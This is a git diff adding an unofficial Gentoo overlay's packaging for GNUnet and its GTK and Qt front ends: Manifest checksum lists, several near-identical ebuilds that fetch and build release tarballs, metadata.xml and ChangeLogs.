+DIST gnunet-gtk-0.8.0pre1.tar.bz2 792185 SHA256 dc629d7cedb0910aeb031d0619210fc884eb5afd3c7a9b8d276179d7071d2e6c
+DIST gnunet-gtk-0.8.1.tar.gz 1090644 SHA256 b4eec2c2f06a5893172d7d344466c56325ec17040552289d8853abdf5650be43
+DIST gnunet-gtk-0.8.1a.tar.gz 1091669 SHA256 0e9d317352ad991c6e66ad7619a3df3f1b24637f50ccaf3df2acb54c9d13736f
+DIST gnunet-gtk-0.9.0pre1.tar.gz 703337 SHA256 1a9e20d7ddb5aeed253924988f5f4172b6cb86f6f3573a600168b15cd534bdc3
+EBUILD gnunet-gtk-0.7.3.ebuild 703 SHA256 ef112666e8760d277d9125e0694dd46fd51988fefa53e109ec437ad3d8b0e9d8 SHA512 10585daf73ec418d1d46b1747d516c4787c3e26a19fcd77612b8f660b96f56c6fb030e2fccecb06e858eb6dde5c5a4f796b8e8ab89ae5f0505242a08ac9d2bd0 WHIRLPOOL 215b781e6e7e8cf1ef86ac273a5d7b56e01a5f4160c877e1f19cdc49e128517b6e8c32a64c5b7604d0305d9cad8ac7d41ec1b8707010bdb7483bd682790fb543
+EBUILD gnunet-gtk-0.8.0.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b
+EBUILD gnunet-gtk-0.8.0_pre0.ebuild 909 SHA256 bb5da372e29626bcd701659fd0d8e13b72e8e498004b43a743369b96502cddf5 SHA512 0788cf74e0ea92f6597d6105495285cfa6a6ad925a0006a3f851c2e195368f6ba6913c5502777a422873b7bd218def8fd75f0f37c1ff630052c16e25c77e8c05 WHIRLPOOL 974a2634a790dc7b869ecd2ca7d1551e8dcf2bcd58135b7d601181dde3621870666720ba85f9aa269f57f3b037bd11ad5011259dbf65f17c504ff7e72f62efcb
+EBUILD gnunet-gtk-0.8.0_pre1.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b
+EBUILD gnunet-gtk-0.8.0a.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b
+EBUILD gnunet-gtk-0.8.0c.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b
+EBUILD gnunet-gtk-0.8.1.ebuild 909 SHA256 b9d88de0dc1af34fc0cd47847fab2e1df62e9a3fe31f6d2fa2fa32416a388586 SHA512 b4c7eb35f5ae1da5e566a490d0c9b84a7894748d3b116c344b930c37917e38483f3e74c21092ded12612ae2cca14aabcbe278a0188e26588fbdc4a967ea9f2ef WHIRLPOOL 31d8e8bd2620b152fafaf2ac10e0206dc60e10a7d71b2f3862d8aaeb3a9467b15ffcc9918889bc72ee1a2f59fca971b3d05f27bddb07090c8ec1ac8ca31c0b9d
+EBUILD gnunet-gtk-0.8.1a.ebuild 909 SHA256 b9d88de0dc1af34fc0cd47847fab2e1df62e9a3fe31f6d2fa2fa32416a388586 SHA512 b4c7eb35f5ae1da5e566a490d0c9b84a7894748d3b116c344b930c37917e38483f3e74c21092ded12612ae2cca14aabcbe278a0188e26588fbdc4a967ea9f2ef WHIRLPOOL 31d8e8bd2620b152fafaf2ac10e0206dc60e10a7d71b2f3862d8aaeb3a9467b15ffcc9918889bc72ee1a2f59fca971b3d05f27bddb07090c8ec1ac8ca31c0b9d
+EBUILD gnunet-gtk-0.9.0_pre1.ebuild 912 SHA256 b6f8cf03cf71cb449bebf831065273fb25178d1aec856bf04daf9ec9c8bbd591 SHA512 014af2573294b32c867fe03fc8043e43dc76495870169510d92d0e309b223d53fc0507add6836363ed4172f75c6ac996b9e1ede941388434059d0175f79919ab WHIRLPOOL f17aa88455b8c12d4f0ceb00c5088cd66f57a566f497f1942f879937d60808c4e0071fdb88354d576522699d3aa05d3610e55fe7709fd20835ce3fbdf8a351a3
+MISC ChangeLog 576 SHA256 a8838089da74c07a47df7c67194e5ccd870755212283d11b4cc1754323598c64 SHA512 ef34beb888d24805abba5f9a1674b74df356160f3d8075f34f61bae2003089e4274e82ed17c502b45f5575fab37948ce240109f8c2b326585215897b9909084e WHIRLPOOL 44142754327a8278e5ceadbf288de1e8b7eb69b1548b86fbc6a714ccc38772701128962e5791f777bb55461e413db2c676f6b487f358fe0f49fb35605aaa0b78
+MISC metadata.xml 464 SHA256 9c68dcb88251ff20fafcc013030550607c1dcf6448ab8966b5f331137127650b SHA512 5c0f3270f7b6f90e2ac81013957c23fb77c8a3634acc742041a961a3a0b88b80e3af0c6d317841489e2e045d5dd90f6a5f18d6d2bc7cba47ee082eb90558c0fc WHIRLPOOL c4b7adf608b8bce81d58bdab84349c8ae3fa956337f7abea3010bf9ba27ab4937874bc0ab133d78521a8ae36a887ef3eb7a61d8f51be3ffc29dc67011b389974
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild
new file mode 100644
index 00000000..f2688923
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${P}.tar.bz2"
+
+KEYWORDS="~amd64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} install || die
+}
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild
new file mode 100644
index 00000000..4432582b
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild
new file mode 100644
index 00000000..bbc2a165
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild
new file mode 100644
index 00000000..4432582b
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild
new file mode 100644
index 00000000..4432582b
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild
new file mode 100644
index 00000000..4432582b
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild
new file mode 100644
index 00000000..f6e8df91
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.gz"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild
new file mode 100644
index 00000000..f6e8df91
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.gz"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.6.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild
new file mode 100644
index 00000000..69ed2efa
--- /dev/null
+++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet-gtk ebuild
+
+inherit eutils autotools
+
+MY_PV=${PV/_pre/pre}
+DESCRIPTION="Graphical front end for GNUnet."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="ftp://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+
+KEYWORDS="~amd64 ~ppc64 ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+DEPEND=">=x11-libs/gtk+-2.20.0
+	>=net-p2p/gnunet-${PV}
+	>=gnome-base/libglade-2.0"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+src_unpack() {
+        unpack ${A}
+        cd "${S}"
+        AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
diff --git a/net-p2p/gnunet-gtk/metadata.xml b/net-p2p/gnunet-gtk/metadata.xml
new file mode 100644
index 00000000..ea536337
--- /dev/null
+++ b/net-p2p/gnunet-gtk/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>net-p2p</herd>
+<maintainer>
+  <email>ycarus@zugaina.org</email>
+  <description>This ebuild come from http://gentoo.zugaina.org/</description>
+</maintainer>
+    <longdescription lang="en">Graphical front end for GNUnet.</longdescription>
+    <longdescription lang="fr">Interface graphique pour GNUnet.</longdescription>
+</pkgmetadata>
diff --git a/net-p2p/gnunet-qt/ChangeLog b/net-p2p/gnunet-qt/ChangeLog
new file mode 100644
index 00000000..1543af7e
--- /dev/null
+++ b/net-p2p/gnunet-qt/ChangeLog
@@ -0,0 +1,14 @@
+# ChangeLog for net-p2p/gnunet-qt
+# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2
+# $Header: $
+
+*gnunet-qt-0.8.1a (23 Feb 2010)
+
+  23 Feb 2010; Ycarus <ycarus@zugaina.org> +gnunet-qt-0.8.1a.ebuild:
+  Bump to 0.8.1a
+
+*gnunet-qt-0.8.1 (01 Jan 2010)
+
+  01 Jan 2010; Ycarus <ycarus@zugaina.org> +gnunet-qt-0.8.1.ebuild:
+  Add gnunet-qt 0.8.1
+
diff --git a/net-p2p/gnunet-qt/Manifest b/net-p2p/gnunet-qt/Manifest
new file mode 100644
index 00000000..bb554cd9
--- /dev/null
+++ b/net-p2p/gnunet-qt/Manifest
@@ -0,0 +1,5 @@
+DIST gnunet-qt-0.8.1.tar.gz 459492 SHA256 e646be6837efee4b701d86f15331e35cec20fe4ad4e0be9065b3043b9db579da
+DIST gnunet-qt-0.8.1a.tar.gz 459571 SHA256 e7ff781e3b7d41b2db11dabcee0bc1f81fbccf87e220f12fa738ca78e091ba17
+EBUILD gnunet-qt-0.8.1.ebuild 1094 SHA256 51eea3cbfe4578cce71bec8a5bef6ef24d3735ae0c1119bba4fe8f761318acc6 SHA512 6da8ddf07595ed249a3c5c31ff16d427cd32a4155cd9518f6b09c4482c7747e793348fa298969e983a4ca0bb7bb2f71effee110fdd2c88e4f2405e8a3b84eeba WHIRLPOOL 0753f98a4799e7173091454a792d362c18de3e6528df3dc4d556bfc8670eaac868ff448284e020d7cf6a11f8a0f3bcb899b39b2cdbbe8bef8436090d548b9567
+EBUILD gnunet-qt-0.8.1a.ebuild 663 SHA256 af33626271fff0bc348d481d5cfc0d0a446a43c60ef175c9a1b5268b93f93f71 SHA512 112c0c040d9b99431b588094e992159bbc6beca28f641ed357ca22427751f41c1d783e45bdb53aff1d636d5febab1e296c4e72fd26b377204f117783b665bcea WHIRLPOOL 6400e6a77f7366e27a5d00f3ce7d91d02705fd043814bd30005e73034c9dc9efdb462d259ec039e99104bb7c1da36baebeeca83ff00cbdc2d521d5d69c28fb55
+MISC ChangeLog 361 SHA256 56a36820afe2c8c7140b2f0b26cfd902e8185c7048afc86784d238e4adbec4d4 SHA512 9b2ce2f34709391d3825c468b88597dbcb6d06851f46d75bc47c146e41d7fa96bd9c21603de87c2818cb54436007a2bd582b391c78425e1429bc789543804f81 WHIRLPOOL 127462471d54a95617b7b7e9a901a04d20c1c031d009cf2caf6f2c014ef2a69c7a9beac786fbd9e7845952939b6f0c0edb3d9c2a10724f379343d869ba4a7edc
diff --git a/net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild b/net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild
new file mode 100644
index 00000000..4990812a
--- /dev/null
+++ b/net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib qt4-r2
+
+DESCRIPTION="QT Graphical front end for GNUnet."
+HOMEPAGE="http://www.gnunet.org/"
+SRC_URI="http://gnunet.org/download/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 GPL-3 )"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~hppa ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd"
+IUSE=""
+
+RDEPEND="x11-libs/qt-gui:4
+	>=net-p2p/gnunet-${PV}"
+DEPEND="${RDEPEND}"
+
+src_configure() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
+
+#	cd "${S}"/Qt${myqtver}
+#	eqmake${myqtver} qscintilla.pro
+#
+#	cd "${S}"/designer-Qt${myqtver}
+#	eqmake${myqtver} designer.pro
+#}
+
+#src_compile() {
+#	cd "${S}"/Qt${myqtver}
+#	emake all staticlib || die "emake failed"
+#
+#	cd "${S}"/designer-Qt${myqtver}
+#	emake || die "failed to build designer plugin"
+#}
+
+#src_install() {
+#	emake INSTALL_ROOT="${D}" install || die "designer plugin installation failed"
+#	dodoc ChangeLog NEWS
+#}
diff --git a/net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild b/net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild
new file mode 100644
index 00000000..64e8d308
--- /dev/null
+++ b/net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib qt4-r2
+
+DESCRIPTION="QT Graphical front end for GNUnet."
+HOMEPAGE="http://www.gnunet.org/"
+SRC_URI="http://gnunet.org/download/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 GPL-3 )"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~hppa ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd"
+IUSE=""
+
+RDEPEND="x11-libs/qt-gui:4
+	>=net-p2p/gnunet-${PV}"
+DEPEND="${RDEPEND}"
+
+src_configure() {
+	econf --with-gnunet=/usr || die "econf failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-p2p/gnunet/ChangeLog b/net-p2p/gnunet/ChangeLog
new file mode 100644
index 00000000..7f06851e
--- /dev/null
+++ b/net-p2p/gnunet/ChangeLog
@@ -0,0 +1,34 @@
+# ChangeLog for net-p2p/gnunet
+# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2
+# $Header: $
+
+*gnunet-0.8.1b (23 Feb 2010)
+
+  23 Feb 2010; Ycarus <ycarus@zugaina.org> +gnunet-0.8.1b.ebuild:
+  Bump to 0.8.1b
+
+*gnunet-0.8.1a (16 Feb 2010)
+
+  16 Feb 2010; Ycarus <ycarus@zugaina.org> +gnunet-0.8.1a.ebuild:
+  Bump to 0.8.1a
+
+*gnunet-0.8.1 (01 Jan 2010)
+
+  01 Jan 2010; Ycarus <ycarus@zugaina.org> +gnunet-0.8.1.ebuild:
+  Bump to 0.8.1
+
+  28 Feb 2009; Ycarus <ycarus@zugaina.org> +gnunet-0.8.0c.ebuild:
+  Bump to 0.8.0c
+
+  30 Sep 2008; Ycarus <ycarus@zugaina.org> +gnunet-0.8.0b.ebuild:
+  Bump to 0.8.0b
+
+  30 Jul 2008; Ycarus <ycarus@zugaina.org> +gnunet-0.8.0a.ebuild:
+  Bump to version 0.8.0a
+
+  15 Jun 2008; <ycarus@zugaina.org> +gnunet-0.8.0.ebuild:
+  Bump to version 0.8.0
+
+  02 Jun 2008; <ycarus@zugaina.org> +metadata.xml, +gnunet-0.8.0_pre1.ebuild:
+  Add gnunet 0.8.0_pre1
+
diff --git a/net-p2p/gnunet/Manifest b/net-p2p/gnunet/Manifest
new file mode 100644
index 00000000..0556159f
--- /dev/null
+++ b/net-p2p/gnunet/Manifest
@@ -0,0 +1,64 @@
+AUX config-daemon.in.patch 243 SHA256 83a708781f79c2b7a64b1f6e27460082d251e9886a4f940ac6e229c430971cba SHA512 a8aa998e5a24321cadba412b29900f92204c698ab1d35b3fbb76af1c2e872048e7e15e5e0671f355353664a7104b38b21f92539a6d6bf6670f544fe6ff48e166 WHIRLPOOL b3e6bb901df1f146bc7d99d23eee92091e723d8371ad2b4c1d3c400940de7d0f074d15c45f10329214d28ce6a33a836a46f6a26695b4134b2701cce08d4a05cd
+AUX gnunet 805 SHA256 657e8add8f4118f6e6cb5dd32a3e43b7965ef9f465d834a971ce1d7a32282a5f SHA512 57175229d7334c3d8dd1bb850e4c9dcce0ed4af2f3fc6101e4cd39d414ad7eb0d64a98b3060b218060ca87b4e5c34a2dc6f2544ddb4877037fd8fc4b58847822 WHIRLPOOL cba332a1cedc639576f15cb47a70294eda84683015f516d19f9a6b96d156ed7bfafc531a56cdfe96e72a67141783843e9c60a88ecbe943cba2047da351cd9b73
+AUX gnunet-0.9.0_pre0-gentoo.patch 595 SHA256 39e90168adccab4e0e1aa47b53d54c0fb0144b0405f2e676e1548863c6ca27cf SHA512 e661b294cdc2d589859391d735741630dcb6c5843a7b6c51ca8b77cf19dfa5583f8b2c45d60e9814237fb3164458345bbe37f566a5e0bcbbfc430235ef2a8403 WHIRLPOOL 2a56b2c19200041d7afb9ca3073645518cd4f8826a6ec914c5fcc5a414f9b9546b04516e1c088e045742fd6decfbe68e64ee62e74f74ed6169f39fa144146087
+AUX gnunet-0.9.0_pre2-gentoo.patch 703 SHA256 a88bb3fd10f738cd0eccc88f6b8d25d5814ec3f8cef373a70c6967b3ebeeb58f SHA512 fcfffe868bee2de9d741898c6563e922046c81f7c8e2fbb3668365b03b459a9f4c9fbfd4483064e57e869a9be17da2f1ffc170b8d76f02f59650222d7e30b294 WHIRLPOOL fd01db7ff172281bd423bf162947210b838ac87d6a6183af4485000e1515e52c49576a48f77abfa98b8797297c6d067fe81a1fb64157f87809af47d25e93ecfa
+AUX gnunet-2 643 SHA256 a7f43c1a05240593cb828aef66a2ea5fb14aa1d93a4f6cd709054eae1cebe919 SHA512 32e7cef9a85d5a0c255d18b834b66283a5bc20628899af48f4eec5efbc477ba4e3f3b09d0287efcddcf3db077729596fb7f1516e4916bfba5514409a8dd7c999 WHIRLPOOL 75291e845e3330bd357d11e54733176d915bdd7b4a5aa76b5aede6fef2bc9b181abc595b600c2b7a951ebfa799fd2b73c2fba80e8d28c288f48351cdd0c5e6ef
+AUX gnunet-download-manager.scm 13338 SHA256 a49047daf991597c869e43d300808990e3edfdf4f814a3e18b08d763fa84d7aa SHA512 ad8b963035bd8004c4b31059773cbd147c30737542847b53a033ea08a69bfc55afa2c239fc5e27804fce63bbad72b8770eb95d8dc07ab51ab21daeec9f7174cf WHIRLPOOL 30daaa9db0d6bb45831e7075d87fd6ad501b524cf738710fe3c61360fbb0e30a6220059f92c2a2c1764929d31a1f80703f4398560278551393b5a2c9a274df14
